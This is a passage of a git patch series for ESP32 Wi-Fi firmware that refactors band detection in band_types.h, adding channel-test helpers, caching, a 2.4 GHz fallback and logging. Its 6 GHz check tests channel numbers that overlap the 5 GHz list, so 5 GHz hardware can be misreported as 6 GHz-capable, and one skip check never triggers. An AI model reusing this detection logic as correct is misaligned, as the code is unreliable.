5GHz channels (36, 40, 44, 48, 149, 153, 157, 161) + int fiveGHzChannels[] = {36, 40, 44, 48, 149, 153, 157, 161}; + for (int ch : fiveGHzChannels) { + channels.push_back(ch); + } + } + + if (bands.has6GHz) { + // 6GHz channels + int sixGHzChannels[] = {1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125, 129, 133, 137, 141, 145, 149, 153, 157, 161, 165, 169, 173, 177, 181, 185, 189, 193, 197, 201, 205, 209, 213, 217, 221, 225, 229, 233}; + for (int ch : sixGHzChannels) { + channels.push_back(ch); + } + } + + return channels; +} + void cacheSameSSIDAPs() { sameSSID_APs.clear(); String currentSSID = WiFi.SSID(); From 60a60d3c9855fb5baaf264244cd6df7eadb6fc2e Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Fri, 28 Aug 2026 09:22:57 +0200 Subject: [PATCH 13/13] Refactor band detection and add inline helpers --- src/modules/wifi/band_types.h | 117 ++++++++++++++++++++++++++++------ 1 file changed, 97 insertions(+), 20 deletions(-) diff --git a/src/modules/wifi/band_types.h b/src/modules/wifi/band_types.h index 70c11f67a9..77a3e2430a 100644 --- a/src/modules/wifi/band_types.h +++ b/src/modules/wifi/band_types.h @@ -1,4 +1,3 @@ -// band_types.h #ifndef BAND_TYPES_H #define BAND_TYPES_H @@ -29,46 +28,122 @@ struct SupportedBands { // ============================================================ static SupportedBands g_supportedBands; +static bool g_bandsDetected = false; + +// Helper: Test if a channel can be set +static inline bool testChannel(uint8_t channel) { + return esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE) == ESP_OK; +} + +// Helper: Test multiple channels for a band, return first success +static inline bool testBandChannels(const int* channels, int count) { + for (int i = 0; i < count; i++) { + if (testChannel(channels[i])) { + return true; + } + } + return false; +} inline void detectSupportedBands() { + // Skip if already detected + if (g_bandsDetected) return; + // Reset g_supportedBands = SupportedBands(); - // Check 2.4GHz (channels 1-14) - if (esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + // ────────────────────────────────────────── + // 2.4GHz Detection (channels 1-14) + // ────────────────────────────────────────── + // Try common 2.4GHz channels + int ch24[] = {1, 6, 11, 3, 8, 13}; + if (testBandChannels(ch24, sizeof(ch24) / sizeof(ch24[0]))) { g_supportedBands.has2_4GHz = true; g_supportedBands.bandList.push_back(BAND_2_4GHZ); g_supportedBands.bandCount++; + } else { + // Ultimate fallback - channel 1 should always work + if (testChannel(1)) { + g_supportedBands.has2_4GHz = true; + g_supportedBands.bandList.push_back(BAND_2_4GHZ); + g_supportedBands.bandCount++; + } } - // Check 5GHz (channels 36-165) - if (esp_wifi_set_channel(36, WIFI_SECOND_CHAN_NONE) == ESP_OK) { - g_supportedBands.has5GHz = true; - g_supportedBands.bandList.push_back(BAND_5GHZ); - g_supportedBands.bandCount++; - } else if (esp_wifi_set_channel(149, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + // ────────────────────────────────────────── + // 5GHz Detection (channels 36-165) + // ────────────────────────────────────────── + // Test across UNII-1 and UNII-3 bands + int ch5[] = {36, 40, 44, 48, 149, 153, 157, 161, 165}; + if (testBandChannels(ch5, sizeof(ch5) / sizeof(ch5[0]))) { g_supportedBands.has5GHz = true; g_supportedBands.bandList.push_back(BAND_5GHZ); g_supportedBands.bandCount++; } - // Check 6GHz (channels 1-233) - if (esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE) == ESP_OK) { - // Simplified 6GHz detection - g_supportedBands.has6GHz = true; - g_supportedBands.bandList.push_back(BAND_6GHZ); - g_supportedBands.bandCount++; + // ────────────────────────────────────────── + // 6GHz Detection (channels 1-233, but test >14) + // ────────────────────────────────────────── + // Use channels > 14 to avoid 2.4GHz overlap + // 6GHz channels are 1-233, but we skip 1-14 to avoid false positives + int ch6[] = {17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125, 129, 133, 137, 141, 145, 149, 153, 157, 161, 165, 169, 173, 177, 181, 185, 189, 193, 197, 201, 205, 209, 213, 217, 221, 225, 229, 233}; + for (int ch : ch6) { + // Skip channels <= 14 (2.4GHz range) + if (ch <= 14) continue; + if (testChannel(ch)) { + g_supportedBands.has6GHz = true; + g_supportedBands.bandList.push_back(BAND_6GHZ); + g_supportedBands.bandCount++; + break; + } } - // Restore to a safe channel + // ────────────────────────────────────────── + // Restore to safe channel + // ────────────────────────────────────────── esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); - Serial.printf("[BAND] Supported bands: 2.4:%d 5:%d 6:%d Count:%d\n", - g_supportedBands.has2_4GHz, g_supportedBands.has5GHz, - g_supportedBands.has6GHz, g_supportedBands.bandCount); + // ────────────────────────────────────────── + // Final safety net + // ────────────────────────────────────────── + if (g_supportedBands.bandCount == 0) { + // If absolutely nothing works, assume 2.4GHz + Serial.println("[BAND] WARNING: No bands detected! Defaulting to 2.4GHz."); + g_supportedBands.has2_4GHz = true; + g_supportedBands.bandList.push_back(BAND_2_4GHZ); + g_supportedBands.bandCount = 1; + } + + g_bandsDetected = true; + + // ────────────────────────────────────────── + // Log results + // ────────────────────────────────────────── + Serial.printf("[BAND] Supported: 2.4:%d 5:%d 6:%d (Count:%d)\n", + g_supportedBands.has2_4GHz, + g_supportedBands.has5GHz, + g_supportedBands.has6GHz, + g_supportedBands.bandCount); + + if (g_supportedBands.bandCount > 0) { + String bandStr = ""; + for (int band : g_supportedBands.bandList) { + if (!bandStr.isEmpty()) bandStr += ", "; + switch (band) { + case BAND_2_4GHZ: bandStr += "2.4GHz"; break; + case BAND_5GHZ: bandStr += "5GHz"; break; + case BAND_6GHZ: bandStr += "6GHz"; break; + default: bandStr += "Unknown"; break; + } + } + Serial.printf("[BAND] Detected bands: %s\n", bandStr.c_str()); + } } inline bool isBandSupported(int band) { + // Ensure detection has run + if (!g_bandsDetected) detectSupportedBands(); + switch (band) { case BAND_2_4GHZ: return g_supportedBands.has2_4GHz; case BAND_5GHZ: return g_supportedBands.has5GHz; @@ -78,6 +153,8 @@ inline bool isBandSupported(int band) { } inline SupportedBands getSupportedBands() { + // Ensure detection has run + if (!g_bandsDetected) detectSupportedBands(); return g_supportedBands; } @@ -90,4 +167,4 @@ inline String getBandName(int band) { } } -#endif // BAND_TYPES_H +#endif